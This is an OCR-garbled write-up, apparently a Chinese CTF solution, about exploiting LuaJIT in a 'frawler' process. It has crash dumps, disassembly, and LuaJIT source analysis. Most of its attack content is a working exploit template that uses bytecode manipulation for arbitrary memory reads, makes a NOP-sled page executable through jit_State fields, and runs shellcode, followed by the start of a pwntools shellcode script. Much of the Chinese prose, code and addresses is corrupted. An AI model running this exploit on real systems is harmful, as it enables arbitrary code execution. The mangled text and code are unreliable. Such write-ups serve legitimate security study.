'<p>Error code explanation:

— P FT5 RIS

BRI MTIMEEMRBRART . NEEFAST ST IFFOIvajitRBAT I, XEEN, ABHEAIR

D —TABAEART.

request syntax

400 =

F—4, FIEAEREESR, FF&JdumpAE.

[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.

170]
171]
171]
171]
171]
171]
171]
171]
171]
171]
171]
171]
171]
171]
171]
172]
172]
172]
172]
172]
172]
172]
172]
172]
172]
172]
172]
184]
184]
184]
184]

01045.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.

01203>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>

Bad request syntax or unsupported method.\n'

devmgr: crash_analyzer_listener: analyzing exception type 0x108
<== fatal exception: process /pkg/bin/frawler[162600] thread initial-thread[162612]
<== fatal page fault, PC at 0x7a8aflled4b20

cs:
RAX:
RSI:
R8:
R12:

errc:

0x5746f3

bottom of user sta

0x0000799649e95c78:
0x0000799649e95c88:
0x0000799649e95c98:
0x0000799649e95ca8:
0x0000799649e95ch8:
0x0000799649e95cc8:
0x0000799649e95cd8:
0x0000799649e95ce8:
0x0000799649e95cf8:
0x0000799649e95d08:
0x0000799649e95d18:
0x0000799649e95d28:
0x0000799649e95d38:
0x0000799649e95d48:
0x0000799649e95d58:
0x0000799649e95d68:

arch: x86_64
dso:
dso:
dso:
dso:

0 RIP:
0x8000 RBX:

0 RDI:

0 R9:
70eb58 R13:

0x6

ck:
flledacc
f370eed0
10000558
f11c7474
370eec8
10000558
100003b8
10000378
f11lc5e0d 00007a8a
10000558 00000000
100003b8 00000000
49e95e00 00007996
f11ff4f6 00007a8a
49e95e00 00007996
10000378 10000378
10000378 00000000

00007a8a
00005746
00000000
00007a8a
00005746
00000000
00000000
00000000

0x7a8aflled4b20 EFL:

0 RCX:

0x57461370eb58 RBP:

0 R10:
0x100003b8 R14:

10000558
00008008
49e95cf0
alad8elc
10000558
11190868
100003b8
49e95d30

00000000
00000000
00007996
9b72fb15
00000000
00007a8a
00000000
00007996
1000dob8 00000000
00000018 00000000
10000fa8 00000000
10000378 00000000
10000fa8 00000000
fffffeed 00000000
49e95e00 00007996
1000d278 00000000

0x246 CR2:

@ RDX:
0x799649e95cad RSP:
0 R11:
0x57461370eb58 R15:

lodoooZaaannnooa |
loo@fhoooonnnonn |
Honoooo00Neloloo ||
[oceZocconnaa r.|
Joa@efih 2o cao0a0 |
Paoooans Mo aooZaal|
locooooooooaoooaa |
[aooooos 0].I.y

|o®cccZononnnoonn |
[Xsoccocoo0acoo0a |
|oooococoooacoooa |
| 62600 3% |
loooon Zoooooooooo |
o”ceYononaanoaa |
%0 0 %0000 alloWa s
Pacasoan Manoooao |

1d=333103e7c266dfce base=0x7a8af118e000 name=app:/pkg/bin/frawler
1d=8f51b7868dd@d5h9aefede573951819712a580e@ base=0x58f25e8e0000 name=1ibc.so
1d=89d4eb99573947ac792dd4a5e9e498bd44bdeefe base=0x554a3ca5d000 name=<vDSO>
id=fa@cdaa5591d31e3 base=0x2f6fael09000 name=1libc++.50.2

Chaitin Tec

Column

(" rwct FLXXXXXXXXXXXXXXXXKX XXX XXX XXX XX XXX XXXXXXXXXX PN\ X0 4\ \ X~
00\\x10\\x00\\x00\\x00\\x00\\xb8\\x03\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\xcf\\x90I\\xa8.\\x00\\x00
X\\x03\\x00\\x10\\x00\\x00\\x00\\x00\\x87A\\\\1\\xd3\\x1a\\x00\\x0OH\\x94\\x00\\x10\\x02\\x00\\x00\

0x8000

0
0x799649e95¢78
0x206

ox1

L2018 FE X E
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[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.
[40698.

184]
184]
184]
184]
184]
185]
185]
185]
185]
185]
185]
185]
192]
192]
192]
192]
192]
192]
192]
192]
192]
192]
192]
192]
192]
192]
192]
192]
192]
192]
192]
192]
192]
192]
196]
196]
197]
198]
198]
205]
209]
209]
210]
210]
211]
211]
211]
215]
215]
218]
222]
222]
223]
223]
224]
224]
224]

01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.
01105.

01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>
01119>

1d=8683b6141c863ad base=0x2d3787750000 name=1ibunwind.so.1
1d=4b87e913774eb02ch107ae0f1385ddfcb877ba2e base=0xe98beb70000 name=1libfdio.so
id=ecfc9b0e3f0cad3b base=0xaef30a38000 name=1libclang_rt.scudo.so

dso: 1d=1b59f762cf98d972 base=0x85aca3d3000 name=1libc++abi.so.1

{{{reset}}}

{{{module:0x21fb5444: <\VM0#162635=11ibc++abi.so.1>:elf:1b59f762cf98d972} } }

{{{mmap: 0x85aca3d3000: 0x16000: load: 0x21fb5444: r:0}}}

{{{mmap: 0x85aca3e9000: 0x24000: load: 0x21fb5444: rx: 0x16000} } }

{{{mmap: 0x85aca40d000: 0x5000: load: 0x21fb5444: rw: 0x3a000} } }

{{{module:0x21fb5445: <VM0#162620=1ibclang_rt.scudo.s:elf:ecfcoboe3f0ca0d3b}}}
{{{mmap: 0xaef30a38000: 0x8000: load: 0x21fb5445:r:0}}}

{{{mmap: 0xaef30a40000: 0xa000: load: 0x21fb5445: rx: 0x8000}}}

{{{mmap: 0xaef30a4a000: 0x4000: load: 0x21fb5445: rw: 0x12000}}

{{{module: 0x21fb5446:<VM0#162625=1ibfdio.so>:elf:4b87€913774eb02cb107ae0f1385ddfch877ba2e}}}
{{{mmap: 0xe98beb70000: 0x22000: load: 0x21fb5446: rx:0}}}

{{{mmap: 0xe98beb93000: 0x4000: load: 0x21fb5446: rw: 0x23000} } }

{{{module: 0x21fb5447 : <\IMO#162640=1ibunwind.so.1>:elf:86F83b6141c863ad}}}

{{{mmap: 0x2d3787750000: 0x6000: load: 0x21fb5447: r:0}}}

{{{mmap: 0x2d3787756000: 0x8000: load: 0x21fb5447: rx: 0x6000} } }

{{{mmap: 0x2d378775e000: 0x3000: load: 0x21fb5447: rw: 0xe000} } }

{{{module: 0x21fb5448:<VM0#162630=1ibc++.50.2>:elf: faBcdaa5591d31e3}}}

{{{mmap: 0x2f6Tae109000: 0x52000: load: 0x21fb5448: r:0}}}

{{{mmap: 0x2f6fae15b000: 0x77000: load: 0x21fb5448: rx: 0x52000} }}

{{{mmap: 0x2f6Tae1d2000: 0x9000: load: 0x21fb5448: rw: @xc9000} }}

{{{module: 0x21fb5449: <VM0#1033=vdso/full>: el f:89d4eb99573947ac792dd4a5e9e498bd44bdeefe} } }
{{{mmap: 0x554a3ca5d000: 0x7000: load: 0x21fb5449: r:0}}}

{{{mmap: 0x554a3ca64000: 0x1000: load: @x21fb5449: rx: 0x7000} } }
{{{module:0x21fb544a:<WM0#162604=1d.s0.1>:elf:8f51b7868dd0d5b9aefede573951819712a580e0} }
{{{mmap: 0x58125e8e0000: @xcb00?: load: 0x21fb544a: rx:0}}}

{{{mmap: 0x58f25€9ac000: 0x6000: load: 0x21fb544a: rw: @xcc000}}}

{{{module: 0x21fb544b: <VM0#162591=/pkg/bin/frawler>:elf:333103e7c266dfce}}}

{{{mmap: 0x7a8af118e000: 0x1d00A: load: 0x21fb544b: r:0}}}

{{{mmap: 0x7a8af11ab000: 0x57000: load: 0x21fb544b: rx:0x1d000}}}

{{{mmap: 0x7a8af1202000: 0x4000: load: 0x21fb544b: rw: 0x74000} }}

dso:
dso:
dso:

bt#01:
bt#02:
bt#03:
bt#04:
bt#05:
bt#06:
bt#07:
bt#08:
bt#09:
bt#10:
bt#11:
bt#12:
bt#13:
bt#14:
bt#15:

pc
pc
pc
pc
pc
pc
pc
pc
pc
pc
pc
pc
pc
pc
end

0x7a8aflledb20
0x7a8aflledacc
0x7a8afllc7474
0x7a8afllc5e0d
0x7a8af11ff4f6
0x7a8af11b0547
0x7a8af11b@3a5
0x7a8af1200afl
0x7a8af11b3218
0x7a8af11f9f49
0x7a8afllfadc6
0x7a8afl1fa270
0x58f25e8f9c48

sp
sp
sp
sp
sp
sp
sp
sp
sp
sp
sp
sp
sp

0x799649e95c78
0x799649e95c80
0x799649e95ch0
0x799649e95d00
0x799649e95d40
0x799649e95d90
0x799649e95db0
0x799649e95e00
0x799649e95e50
0x799649e95€90
0x799649e95ec0
0x799649e95110
0x799649e95160

0 sp 0x799649e96000

(app:/pkg/bin/frawler, 0x56b20)
(app:/pkg/bin/frawler, @x56acc)
(app:/pkg/bin/frawler,0x39474)
(app:/pkg/bin/frawler,0x37e0d)
(app:/pkg/bin/frawler,0x714f6)
(app:/pkg/bin/frawler,0x22547)
(app:/pkg/bin/frawler, 0x223a5)
(app:/pkg/bin/frawler,0x72af1)
(app:/pkg/bin/frawler,0x25218)
(app:/pkg/bin/frawler,0x6bf49)
(app:/pkg/bin/frawler,@x6c0c6)
(app:/pkg/bin/frawler,0x6c270)
(libc.so,0x19c48)

{{{bt:
{{{bt:
{{{bt:
{{{bt:
{{{bt:
{{{bt:
{{{bt:
{{{bt:

:0x7a8af11e4b20}}}
:0x7a8aflledacc}}}
:0x7a8af11c7474}}}
:0x7a8afl1lc5e0d}}}
:0x7a8afl11ff4f6}}}
:0x7a8af11b0547}}}
:0x7a8af11b03a5}}}
:0x7a8af1200af1}}}

0 N O U~ W N B
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[40698.226] 01105.01119> {{{bt:9:0x7a8af11b3218}}}
[40698.226] 01105.01119> {{{bt:10:0x7a8af11f9f49}}}
[40698.227] 01105.01119> {{{bt:11:0x7a8af11fa0c6}}}
[40698.227] 01105.01119> {{{bt:12:0x7a8af11fa270}}}
[40698.228] 01105.01119> {{{bt:13:0x58f25e8f9c48}}}
[40698.229] 01105.01119> {{{bt:14:0}}}

WRIEZ BIEA T BexpfIid (R, ANEasrfVIERHKE, IFEIHEI(ZEEDE shellcodeiiT, FEEFET

ZTHEdumpELEH Tbt, FIAKIR—T, BEREAEMILT . ERXMIE, WRIMZBITEIRT £
—mEMIuajittis, FEBECET B, BFMiFE%T, ERRELERTK,

B7tae0xb6b20, BIZEREHA.

LOAD:0000000000056B1B mov ecx, esi
LOAD:0000000000056B1D shl ecx, 5
LOAD:0000000000056B20 mov byte ptr [rax], 6Ah ; 'j'
LOAD:0000000000056B23 mov [rax+1], cl
LOAD:0000000000056B26 mov rod, esi
LOAD:0000000000056B29 and rod, 7

raxB BIRENOx8000, BARAMANEZE, EBRFHE—BXTDLEN:

[EBYTE *2E fastcalil 6BOO(__int64 al, unsigned int a2)

_BYTE *re

_int64 v5; re
__int64 v6; rex

result = *(_BYTE **)(al + 264);

if ( (unsigned 1nTb4)<re1HT + 141) >= *(_QWORD *)(al + 272)
sub_56BF0 ( \ 3

" Tt =

BAME L —KE#asm_exitstub_gena? ERBERXMIENMER REFTIEWN, MZEFEETHE
LamxpRIRY R T . Bl —TRS:

/* Generate an exit stub group at the bottom of the reserved MCode memory. */
static MCode xasm_exitstub_gen(ASMState xas, ExitNo group)
{

ExitNo i, groupofs = (group*EXITSTUBS_PER_GROUP) & 0xff;

MCode *mxp = as->mcbot;

MCode xmxpstart = mxp;

if (mxp + (2+2)*EXITSTUBS_PER_GROUP+8+5 >= as->mctop)

asm_mclimit(as);
/* Push low byte of exitno for each exit stub. x/
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*mxp++ = XI_PUSHi8; xmxp++ = (MCode)groupofs; // [/iZEiXEIET

for (i = 1; i < EXITSTUBS_PER_GROUP; i++) {
*mxp++ = XI_JMPs; x*mxp++ = (MCode) ((2+2)*(EXITSTUBS_PER_GROUP - i) - 2);
*mxp++ = XI_PUSHi8; *mxp++ = (MCode) (groupofs + i);

}

/* Push the high byte of the exitno for each exit stub group. */

*mxp++ = XI_PUSHi8; xmxp++ = (MCode) ((group*EXITSTUBS_PER_GROUP)>>8) ;

/* Store DISPATCH at original stack slot @. Account for the two push ops. */

*mxp++ = XI_MOVmi;

*mxp++ = MODRM(XM_OFS8, @, RID_ESP);

*mxp++ = MODRM(XM_SCALE1, RID_ESP, RID_ESP);

*mxp++ = 2%sizeof(void x);

*(int32_t *)mxp = ptr2addr(J2GG(as—>J)->dispatch); mxp += 4;

/* Jump to exit handler which fills in the ExitState. */

*mxp++ = XI_IMP; mxp += 4;

*((int32_t %) (mxp-4)) = jmprel(mxp, (MCode *)(void *)1j_vm_exit_handler);

/* Commit the code for this group (even if assembly fails later on). */

1j_mcode_commitbot(as->J, mxp);

as—>mcbot = mxp;

as->mclim = as->mcbot + MCLIM_REDZONE;

return mxpstart;

BXHE—TFF8ME, XEmxpHESLEmcbot, BEXEMEZ0x8000, 0x8000iFE I EFKIRER
mctabl[3], thFtEszmcareat{EIE?

[El— T 454 :

mcprot = 0x0,

mcarea = 0x1234 <error: Cannot access memory at address 0x1234>,
mctop = 0x4321 <error: Cannot access memory at address 0x4321>,
mcbot = @xdead <error: Cannot access memory at address @xdead>,
szmcarea = Oxbeef,

szallmcarea = 0x1000,

BLARXESAZE, #B7M? BB—THETENexp, FEXEMEE 7 MM,

NTRIERNOFENR AT, BIIBRN—TEE.

local mcarea = mctab[1]
mctab[0] = 0x1234/ 2752 / 271022

[
mctab[1] = 0x4321/ 2752 / 271022
mctab[2] = Oxdead / 2752 / 271022
mctab[3] = asaddr / 2752 / 271022

mctab[4] = 2712 / 2752 / 271022
--while mctab[0] == @ do end
local i =1
while i < 0x1000000 do
i=1i+1
——print(i)
end
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AR ETEO0x2bd70, IhAfrdiy 0x4321,

MORIEST EE 2 fa /2 PTIABIAR T R 208 -

__int64 _ fastcall 1j_mcode_free(__int64 al)
{

__int64 result; // rax

_QWORD *v2; // rdi

_QWORD *v3; // rbx

result = al;
v2 = *x(_QWORD *x)(al + 2448);
*(_QWORD *) (result + 2448) = 0OLL;
*(_QWORD *) (result + 2480) = 0OLL;
if (v2 )
{
do
{
v3 = (_QWORD *)%v2;
result = mcode_free(v2, v2[1]);

v2 = V3;
}
while ( v3 );
}
return result;
¥
AR E

LOAD:000000000002BD70
LOAD:000000000002BD70 loc_2BD70:

LOAD:000000000002BD70 mov rbx, [rdil <-—- Aifit, rdi = 0x4321
LOAD:000000000002BD73 mov rsi, [rdi+8]
LOAD:000000000002BD77 call mcode_free
LOAD:000000000002BD7C mov rdi, rbx
LOAD:000000000002BD7F test rbx, rbx
LOAD:000000000002BD82 jnz short loc_2BD70

X EE IR R K

/* Free all MCode areas. */
void 1j_mcode_free(jit_State *J)
{
MCode *xmc = J->mcarea;
J->mcarea = NULL;
J->szallmcarea = 0;
while (mc) {
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static void mcode_free(jit_State xJ, void x*p,

{

UNUSED (J) ;

MCode *next =
mcode_free(J, mc,

mc = next;

UNUSED(sz)

((MCLink *)mc)->next;

((MCLink x)mc)->size);

VirtualFree(p, @0, MEM_RELEASE);

size_t sz)

KERARERZ2018FE
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7

&=

=

JBERBE AR, NFERMHET, MAREATRITZH., EZSNEEXEERSE T mcareaTd
jit_StatedrByfRHS, RXFERNIZFAIUNENLE—T7T.

gef>
$7 =

p (uint64_t) (&((GG_Statex)0x40000378).].mcarea)—(uint64_t) (&((GG_Statex)0x40000378).7])

0x988

>>> 0x988

2440

MERERENN2448, BFRHILEHEN T, EATNNERTHALRE, XEBHERE T I+ ARexpTIAEREE

R,

XiFE A B RERexpf pT LAER 7 1B

N

P

[49833.
[49833.

CR2:

[49833.

RDX:

[49833.

RSP:

[49833.

R11:

[49833.

[49833.
[49833.
[49833.

174

5771
5771

01105.01119>

01105.01119>
0

01105.01119>
0

577] 01105.01119>
0x9b703aacc50

5771

5771

01105.01119>
0x206

5771 01105.01119>
5931
5931
594]

01105.01119>
01105.01119>
01105.01119>

<== general fault, PC at
CS: 0
RAX: Oxffffffff
RSI: 0
R8: 0
R12: 0x10000558
bt#01: pc 0x50c8d6669d70
bt#02: pc 0x50c8d66600d4
bt#03: pc 0x50c8d6677b81

0x50c8d6669d70

[RIL[P 5

RBX:

RDI:

R9:

R13:

0x50c8d6669d70

0x9090909090909090

0x9090909090909090

0x100003b8

EIFILE

RCX:

RBP:

R10:

R14:

0x286

0x7e0029445a42

0x9b703aacc60

sp 0x9b703aacc50 (app:/pkg/bin/frawler,@x2bd70)
sp 0x9b703aacc70 (app:/pkg/bin/frawler,0x220d4)
sp 0x9b703aacch@ (app:/pkg/bin/frawler,@x39b81)
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BIEMOMBET, XEih0) 7 ZRAE, rdifdEZ N T0x909090, BEZHNUEAINOPHIE, FIEN
HF2nopHIEZT AL 7iXEMIrdi, hFtEmcarea? XN HMESBIEIRSRMESIEEES 7, FoBH—T, L
—ZEIAAZj_mcode_freefIfii &

LOAD: 00000000000220A1

LOAD: 00000000000220A1 loc_220A1:

LOAD:00000000000220A1 mov word ptr [r13+1Fohl, @
LOAD:00000000000220AB mov dword ptr [r13+2E@hl, 0

LOAD: 00000000000220B6 lea rdi, [r13+870h] ; s

LOAD: 00000000000220BD xor ri4d, riad

LOAD:00000000000220C0 mov edx, 200h i n

LOAD: 00000000000220C5 xor esi, esi ;o
LOAD:00000000000220C7 call  _memset

LOAD:00000000000220CC mov rdi, rl12 ; <-- r122%EBFIN, BEEZERNT 1j_mcode_free' M
LOAD: 00000000000220CF call lj_mcode_free ; <-— VAMEITIXEH=R
LOAD:00000000000220D4 mov rdi, ri2

LOAD: 00000000000220D7 call sub_2BD90

BESFaME, r1290x10000558, thatzEjit_StateRdithtt, ERNHAEIEZAEImcode_freefIid iz,
mcareafJ BN TIE? HIFARERIREEmcarea 715, EARTH TnopE? FEFASET .

BAN? REFBINEEEIRE, BBATNUEALINTIREE 2R, dEETEIRJdump & REERN

local mcarea = mctabl[1]

mctab[0] = 0

mctab[1] = asaddr / 2752 / 271022
mctab[2] = mctab[1]

mctab[3] = mctab[1]

mctab[4] = 2712 / 2752 / 271022

hexdump_print(0x10000558 + 2440, 0x30) —— FEXE

while mctab[0] 0 do end

'00 00 00 00 00 00 00 00 00 50 01 10 00 00 00 00 \n'
'00 50 01 10 00 00 00 00 00 50 01 10 00 00 00 00 \n'
'00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \n'

STAEREN—, BANT ERERANNRERA B,

/EI\EJt:

BEBAKREMA]it, FAANTE

EXR

BERTEl_mcode_freefIEI T [a)&T
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LOAD:
LOAD:
LOAD:
:000000000002BD73
LOAD:
LOAD:
LOAD:
LOAD:

LOAD

000000000002BD70
000000000002BD70
000000000002BD70

000000000002BD77
000000000002BD7C
000000000002BD7F
000000000002BD82
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loc_2BD70:

mov rbx, [rdil

mov rsi, [rdi+8]

call mcode_free

mov rdi, rbx ; <—— XHEKZ T rdi
test rbx, rbx

jnz short loc_2BD70

SRR, XERHTEREER T —TRRRE T 8@, HEXiER T —T0MEM T +00ffsethy
B, RAREZIEOEERN, BABHE, ¥E0x10015000EA THERT—MIE, HEEX LR
REE.

'90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 \n'
‘90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 \n'
‘90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 \n'

RAEAR, REMERNERNAT! BARBKRMBRE T, EXAREHATHRNORIELZERS
89, HAFEnopkslip, BFABEZENopAkINETABTHNOOMERR T,

RA—TIVNREE, SHTRTERTHEFX. .

AI=1F

ERR/N e Eshellcodef[a)f, FEPREH L—MAEELTRAT, BINBEMERK

FltextEr Bt E, AT E&ZHshellcodeHiTT, XEHRRNNBIFTTIE,

exploit

orig_exp.tpl.lua

—— The following function serves as the template for evil.lua.
—— The general outline is to compile this function as-written, dump
—— it to bytecode, manipulate the bytecode a bit, and then save the

—— result as evil.lua.

local evil = function(v)

—— This is the x86_64 native code which we'll execute. It
—— 1s a very benign payload which just prints "Hello World"
—— and then fixes up some broken state.

local shellcode =

{SHELLCODE_TPL}

—— The dirty work is done by the following "inner" function.

—— This inner function exists because we require a vararg call
—— frame on the Lua stack, and for the function associated with
—— said frame to have certain special upvalues.

local function inner(...)

if false then

—— The following three lines turn into three bytecode

—— instructions.

We munge the bytecode slightly, and then
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—— later reinterpret the instructions as a cdata object,
—— which will end up being ‘cdata<const char *>: NULL".

—— The 'if false' wrapper ensures that the munged bytecode
-— isn't executed.

local cdata = -32749

cdata = 0@
cdata = 0
end

—— Through the power of bytecode manipulation, the

—— following three functions will become (the fast paths of)
—— string.byte, string.char, and string.sub. This is

—— possible because LuaJIT has bytecode instructions

—— corresponding to the fast paths of said functions. Note
—— that we musn't stray from the fast path (because the

—— fallback C code won't be wired up). Also note that the
—— interpreter state will be slightly messed up after

—— calling one of these functions.

local function s_byte(s) end

local function s_char(i, _) end

local function s_sub(s, i, j) end

—— The following function does nothing, but calling it will

—— restore the interpreter state which was messed up following
—— a call to one of the previous three functions. Because this
—— function contains a cdata literal, loading it from bytecode
— will result in the ffi library being initialised (but not
—— registered in the global namespace) .

local function resync() return OLL end

—— Helper function to reinterpret the first four bytes of a
—— string as a uint32_t, and return said value as a number.
local function s_uint32(s)
local result = 0
for i =4, 1, -1 do
result = result x 256 + s_byte(s_sub(s, i, i))
resync()
end
return result
end

—— The following line obtains the address of the GCfuncL

—— object corresponding to "inner". As written, it just fetches
—— the 0th upvalue, and does some arithmetic. After some

—— bytecode manipulation, the @th upvalue ends up pointing

—— somewhere very interesting: the frame info TValue containing
—— func|FRAME_VARG|delta. Because delta is small, this TValue
— will end up being a denormalised number, from which we can
—— easily pull out 32 bits to give us the "func" part.

local iaddr = (inner % 271022 % 27°52) % 2732

—— The following five lines read the "pc" field of the GCfuncL
—— we just obtained. This is done by creating a GCstr object
—— overlaying the GCfuncL, and then pulling some bytes out of
—— the string. Bytecode manipulation results in a nice KPRI
—— instruction which preserves the low 32 bits of the istr

—— TValue while changing the high 32 bits to specify that the
—— low 32 bits contain a GCstrx.

local istr = (iaddr - 4) + 2752

istr = =32764 —— Turned into KPRI(str)

local pc = s_sub(istr, 5, 8)

istr = resync()

pc = s_uint32(pc)

—— The following three lines result in the local variable
—— called "memory" being ‘cdata<const char *>: NULL". We can
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—— subsequently use this variable to read arbitrary memory

—— (one byte at a time). Note again the KPRI trick to change
—— the high 32 bits of a TValue. In this case, the low 32 bits
—— end up pointing to the bytecode instructions at the top of
—— this function wrapped in ‘if false'.

local memory = (pc + 8) + 2752

memory = =32758 -- Turned into KPRI(cdata)

memory = memory + 0

—— Helper function to read a uint32_t from any memory location.
local function m_uint32(offs)

local result = 0

for i = offs + 3, offs, -1 do

result = result % 256 + (memory[i] % 256)

end

return result
end

—— Helper function to extract the low 32 bits of a TValue.

—— In particular, for TValues containing a GCobj*, this gives
—— the GCobj* as a uint32_t. Note that the two memory reads
—— here are GCfuncL::uvptr[1] and GCupval::v.

local vaddr = m_uint32(m_uint32(iaddr + 24) + 16)

local function low32(tv)

v = tv
return m_uint32(vaddr)
end

—— Helper function which is the inverse of s_uint32: given a
—— 32 bit number, returns a four byte string.
local function ub4(n)
local result = ""
for i = 0, 3 do
local b = n % 256
n=(n-0>b) / 256
result = result .. s_char(b)
resync()
end
return result
end

local function hexdump_print(addr, len)
local result = "'
for i = 0, len - 1 do
if i % 16 == 0 and i ~= 0 then

result = result .. '\n'
end
result = result .. string.format('s02x', memoryl[addr + il % 0x100) .. ' '
end
print(result)

—— The following four lines result in the local variable

—— called "mctab" containing a very special table: the

—— array part of the table points to the current Lua

—— universe's jit_State::patchins field. Consequently,

—— the table's [0] through [4] fields allow access to the

—- mcprot, mcarea, mctop, mcbot, and szmcarea fields of

—— the jit_State. Note that LuaJIT allocates the empty

—— string within global_State, so a fixed offset from the

—— address of the empty string gives the fields we're

—— after within jit_State.

local mctab_s = "\0\0\0\0\99\4\0\0".. ub4(low32("") + 2748)
..""\0\0\0\0\0\0\0\0\0\0\0\0\5\0\0\0\255\255\255\255"

local mctab = low32(mctab_s) + 16 + 2752

mctab = -32757 —— Turned into KPRI(table)
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—— Construct a string consisting of 4096 x86 NOP instructions.
——Llocal nop4k = "\144"
local nopdk = "\0"
[
local zeros = '\0'
for i = 1, 12 do
zeros = zeros .. zeros
end
—11

for i = 1, 12 do
nop4k = nop4k .. nopdk
end

—— Create a copy of the shellcode which is page aligned, and
—— at least one page big, and obtain its address in "“asaddr".
local ashellcode = nopd4k .. shellcode .. nopdk

local asaddr = low32(ashellcode) + 16

asaddr = asaddr + 2”12 - (asaddr % 2°12)

——print(asaddr)

—hexdump_print(0x100779f8, 0x30)

—— The following seven lines result in the memory protection of
—— the page at asaddr changing from read/write to read/execute.
-— This is done by setting the jit_State::mcarea and szmcarea
—— fields to specify the page in question, setting the mctop and
—— mcbot fields to an empty subrange of said page, and then

—— triggering some JIT compilation. As a somewhat unfortunate
—— side-effect, the page at asaddr is added to the jit_State's
—— linked-list of mcode areas (the shellcode unlinks it).

local mcarea = mctab[1]

mctab[0] = 0

mctab[1] = asaddr / 2752 / 271022
mctab[2] = mctabl[1]

mctab[3] = mctabl[1]

mctab[4] = 2712 / 2752 / 271022

while mctab[@] == 0 do end

—I[[
local mcarea = mctab[1]
——mctab[0] = Oxdeadbeef / 2752 / 271022
mctab[0] = @
mctab[1] = asaddr / 2752 / 271022
mctab[2] = mctab[1]
mctab[3] = mctab[1]
mctab[3] = Oxdeadbeef / 2752 / 271022
mctab[4] = 2°12 / 2752 / 2°1022
—while mctab[@] == @ do end
local i =1
while i < 0x1000000 do

i=1+1

—print(i)

end

==J]]]

—— The following three lines construct a GCfuncC object

—— whose lua_CFunction field is set to asaddr. A fixed

—— offset from the address of the empty string gives us

—— the global_State::bc_cfunc_int field.

local fshellcode = ub4(low32("") + 132) .."\0\0\0\0"..
ub4(asaddr) .."\0\0\0\0"

fshellcode = -32760 —— Turned into KPRI(func)
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—— Finally, we invoke the shellcode (and pass it some values
—— which allow it to remove the page at asaddr from the list
—— of mcode areas).
fshellcode(mctab[1], mcarea)
end
inner()
end

—— Some helpers for manipulating bytecode:
local ffi = require "ffi"

local bit = require "bit"

local BC = {KSHORT = 41, KPRI = 43}

—— Dump the as-written evil function to bytecode:
local estr = string.dump(evil, true)

local buf = ffi.new("uint8_t[?]", #estr+l, estr)
local p = buf + 5

—— Helper function to read a ULEB128 from p:
local function read_uleb128()
local v = p[0]; p=p + 1
if v >= 128 then
local sh =7; v=v - 128
repeat
local r = p[o]
Vv = Vv + bit.lshift(bit.band(r, 127), sh)

sh = sh + 7
p=p+1
until r < 128
end
return v
end

—— The dumped bytecode contains several prototypes: one for "evil"
—— itself, and one for every (transitive) inner function. We step
—— through each prototype in turn, and tweak some of them.
while true do

local len = read_uleb128()

if len == 0 then break end

local pend = p + len

local flags, numparams, framesize, sizeuv = p[0], pl[1], p[2], p[3]

p=p+4

read_uleb128()

read_uleb128()

local sizebc = read_uleb128()

local bc = p
local uv = ffi.cast("uintl6_tx", p + sizebc x 4)
if numparams == 0 and sizeuv == 3 then

—— This branch picks out the "inner" function.
—— The first thing we do is change what the @th upvalue
—— points at:
uv[0] = uv[0] + 2
—— Then we go through and change everything which was written
—— as "local_variable = -327XX" in the source to instead be
—— a KPRI instruction:
for i = 0, sizebc do
if bc[@] == BC.KSHORT then
local rd = ffi.cast("int16_t*", bc)[1]
if rd <= -32749 then
bc[@] = BC.KPRI
bc[3] =0
if rd == -32749 then
—— the ‘cdata = -32749° line in source also tweaks
—— the two instructions after it:
bc[4] =0
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bc[8] =0
end
end

end

bc = bc + 4
end

elseif sizebc == 1 then

—— As written, the s_byte, s_char, and s_sub functions each
—— contain a single "return" instruction. We replace said

—— instruction with the corresponding fast-function instruction.

bc[0] = 147 + numparams
bc[2] = bit.band(1 + numparams, 6)
end
p = pend
end

function string.fromhex(str)

return (str:gsub('..', function (cc)
return string.char(tonumber(cc, 16))
end))

end

function string.tohex(str)
return (str:gsub('.', function (c)
return string.format('%02X', string.byte(c))
end))
end

res = string.tohex(ffi.string(buf, #estr))
local f = io.open("../../shellcode.hex", "wb")
fiwrite(ffi.string(res, #res))

f:close()

——print(res)

——a = loadstring(string.fromhex(res))
——print(a())

gen_shellcode.py

from pwn import *
context(arch="amd64', os='linux"')

shellcode = r'"!'
pop rax

sub rax, 0x71187
mov rbp, rax

